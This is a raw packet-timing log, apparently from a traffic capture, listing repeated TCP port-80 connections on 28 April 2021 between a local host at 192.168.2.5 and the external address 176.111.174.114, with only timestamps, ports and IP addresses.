Apr 28, 2021 23:26:03.578208923 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.578386068 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.578448057 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.578449011 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.578459978 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.578466892 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.578567028 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.578576088 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.578628063 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.578777075 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.578787088 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.578794956 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.578846931 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.578907967 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.578938961 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.578949928 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.594209909 CEST	50593	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.595741034 CEST	50594	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.674416065 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.674433947 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.674441099 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.674715996 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.674729109 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.674925089 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.674937963 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.675076008 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.675087929 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.675230980 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.675241947 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.675729036 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.675745010 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.675971985 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.676248074 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.676265955 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.676276922 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.676603079 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.676615953 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.677330017 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.677346945 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.677510023 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.679066896 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.679702044 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.689744949 CEST	80	50593	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.689810991 CEST	50593	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.701982021 CEST	80	50594	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.702092886 CEST	50594	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.702692986 CEST	50594	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.777496099 CEST	80	50592	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.777709961 CEST	50592	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.806881905 CEST	80	50594	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.811609983 CEST	80	50594	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:03.811963081 CEST	50594	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.923079014 CEST	50594	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:03.925859928 CEST	50596	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.021575928 CEST	80	50596	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:04.021826982 CEST	50596	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.022530079 CEST	50596	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.030836105 CEST	80	50594	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:04.030991077 CEST	50594	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.119961023 CEST	80	50596	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:04.128768921 CEST	80	50596	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:04.128954887 CEST	50596	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.235066891 CEST	50596	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.236572027 CEST	50597	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.332041025 CEST	80	50596	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:04.332278013 CEST	50596	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.332411051 CEST	80	50597	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:04.332534075 CEST	50597	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.333959103 CEST	50597	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.429589987 CEST	80	50597	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:04.433196068 CEST	80	50597	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:04.433556080 CEST	50597	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.552081108 CEST	50597	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.553873062 CEST	50598	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.647768974 CEST	80	50597	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:04.647911072 CEST	50597	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.649323940 CEST	80	50598	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:04.649523020 CEST	50598	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.650100946 CEST	50598	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.745493889 CEST	80	50598	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:04.749675989 CEST	80	50598	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:04.749798059 CEST	50598	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.860569000 CEST	50598	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.863240004 CEST	50600	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.955864906 CEST	80	50598	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:04.955986023 CEST	50598	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.958674908 CEST	80	50600	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:04.958826065 CEST	50600	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:04.960103035 CEST	50600	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.056061983 CEST	80	50600	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:05.059559107 CEST	80	50600	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:05.059793949 CEST	50600	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.172673941 CEST	50600	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.175344944 CEST	50601	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.267950058 CEST	80	50600	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:05.268213034 CEST	50600	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.278955936 CEST	80	50601	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:05.279314041 CEST	50601	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.281420946 CEST	50601	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.385114908 CEST	80	50601	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:05.388983965 CEST	80	50601	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:05.389236927 CEST	50601	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.500647068 CEST	50601	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.503288031 CEST	50602	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.602442980 CEST	80	50602	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:05.602663994 CEST	50602	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.603173018 CEST	50602	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.604120016 CEST	80	50601	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:05.604244947 CEST	50601	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.703797102 CEST	80	50602	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:05.707557917 CEST	80	50602	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:05.707670927 CEST	50602	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.812648058 CEST	50602	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.814196110 CEST	50603	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.913182020 CEST	80	50602	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:05.913305044 CEST	50602	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.915292978 CEST	80	50603	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:05.915390015 CEST	50603	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.915954113 CEST	50603	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:05.958379984 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.015892982 CEST	80	50603	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.019803047 CEST	80	50603	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.019893885 CEST	50603	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.055807114 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.055927038 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.056355000 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.125453949 CEST	50603	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.126580000 CEST	50605	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.153923035 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.153966904 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.154023886 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.154026031 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.154064894 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.154084921 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.154654980 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.154737949 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.155244112 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.155322075 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.155431986 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.155497074 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.155801058 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.155877113 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.156162024 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.156234980 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.156480074 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.156553030 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.156784058 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.156855106 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.225411892 CEST	80	50603	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.225509882 CEST	50603	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.226193905 CEST	80	50605	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.226295948 CEST	50605	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.226850033 CEST	50605	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.251147985 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.251271963 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.251523018 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.251569033 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.251616001 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.251641989 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.251657009 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.251679897 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.251760006 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.251791000 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.251876116 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.252070904 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.252145052 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.252239943 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.252253056 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.252317905 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.252372026 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.252613068 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.252718925 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.252870083 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.252953053 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.253314972 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.253354073 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.253393888 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.253458023 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.253596067 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.253685951 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.328824043 CEST	80	50605	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.331651926 CEST	80	50605	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.332402945 CEST	50605	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.349643946 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.349663019 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.349729061 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.349766016 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.350208044 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.350224018 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.350234985 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.350244999 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.350255013 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.350313902 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.350357056 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.350430012 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.350613117 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.353744984 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.353890896 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.355356932 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.355448961 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.355705023 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.355762959 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.355797052 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.355849981 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.355902910 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.355918884 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.355935097 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.355951071 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.355966091 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.355974913 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.355983019 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.355989933 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.356029034 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.356044054 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.438628912 CEST	50605	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.439851999 CEST	50606	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.447983980 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.448376894 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.448391914 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.448853970 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.448870897 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.448883057 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.448893070 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.448899984 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.448909998 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.450660944 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.454931974 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.454943895 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.455378056 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.455394030 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.455976963 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.455990076 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.456000090 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.456012964 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.456024885 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.456034899 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.456046104 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.456275940 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.456424952 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.456578016 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.541403055 CEST	80	50605	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.541532040 CEST	50605	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.543895960 CEST	80	50606	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.544032097 CEST	50606	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.554198027 CEST	50606	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.554868937 CEST	80	50604	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.554948092 CEST	50604	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.653846979 CEST	80	50606	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.657984018 CEST	80	50606	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.659390926 CEST	50606	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.844835997 CEST	50606	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.845895052 CEST	50608	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.943042994 CEST	80	50608	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.944257975 CEST	80	50606	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:06.945225954 CEST	50606	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.945235968 CEST	50608	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:06.946016073 CEST	50608	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:07.043077946 CEST	80	50608	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:07.047156096 CEST	80	50608	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:07.047285080 CEST	50608	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:07.160020113 CEST	50608	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:07.160994053 CEST	50609	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:07.256391048 CEST	80	50609	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:07.257244110 CEST	80	50608	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:07.257478952 CEST	50608	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:07.258022070 CEST	50609	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:07.258765936 CEST	50609	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:07.356276989 CEST	80	50609	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:07.360295057 CEST	80	50609	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:07.361412048 CEST	50609	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:07.804668903 CEST	50609	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:07.806097984 CEST	50610	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:07.899585962 CEST	80	50609	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:07.899687052 CEST	50609	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:07.905803919 CEST	80	50610	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:07.905920029 CEST	50610	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:07.907454967 CEST	50610	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:08.009002924 CEST	80	50610	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:08.013144016 CEST	80	50610	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:08.013267994 CEST	50610	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:08.127444983 CEST	50610	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:08.130429029 CEST	50612	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:08.223483086 CEST	80	50612	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:08.223723888 CEST	50612	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:08.227178097 CEST	80	50610	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:08.227338076 CEST	50610	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:08.264780045 CEST	50612	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:08.357769012 CEST	80	50612	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:08.361709118 CEST	80	50612	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:08.361875057 CEST	50612	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.193049908 CEST	50612	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.194180965 CEST	50613	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.286025047 CEST	80	50612	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.286103964 CEST	50612	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.292313099 CEST	80	50613	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.292412043 CEST	50613	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.313859940 CEST	50613	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.325922966 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.412034035 CEST	80	50613	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.415923119 CEST	80	50613	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.416192055 CEST	50613	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.423461914 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.423763037 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.423979044 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.521445036 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.521480083 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.521503925 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.521574020 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.521574974 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.521612883 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.521662951 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.521866083 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.521967888 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.531657934 CEST	50613	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.532987118 CEST	50615	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.619025946 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.619080067 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.619116068 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.619185925 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.619198084 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.619235039 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.619246006 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.619297981 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.619358063 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.619389057 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.619445086 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.619483948 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.619540930 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.619568110 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.619631052 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.619666100 CEST	80	50614	176.111.174.114	192.168.2.5
Apr 28, 2021 23:26:09.619689941 CEST	50614	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:26:09.619787931 CEST	50614	80	192.168.2.5	176.111.174.114
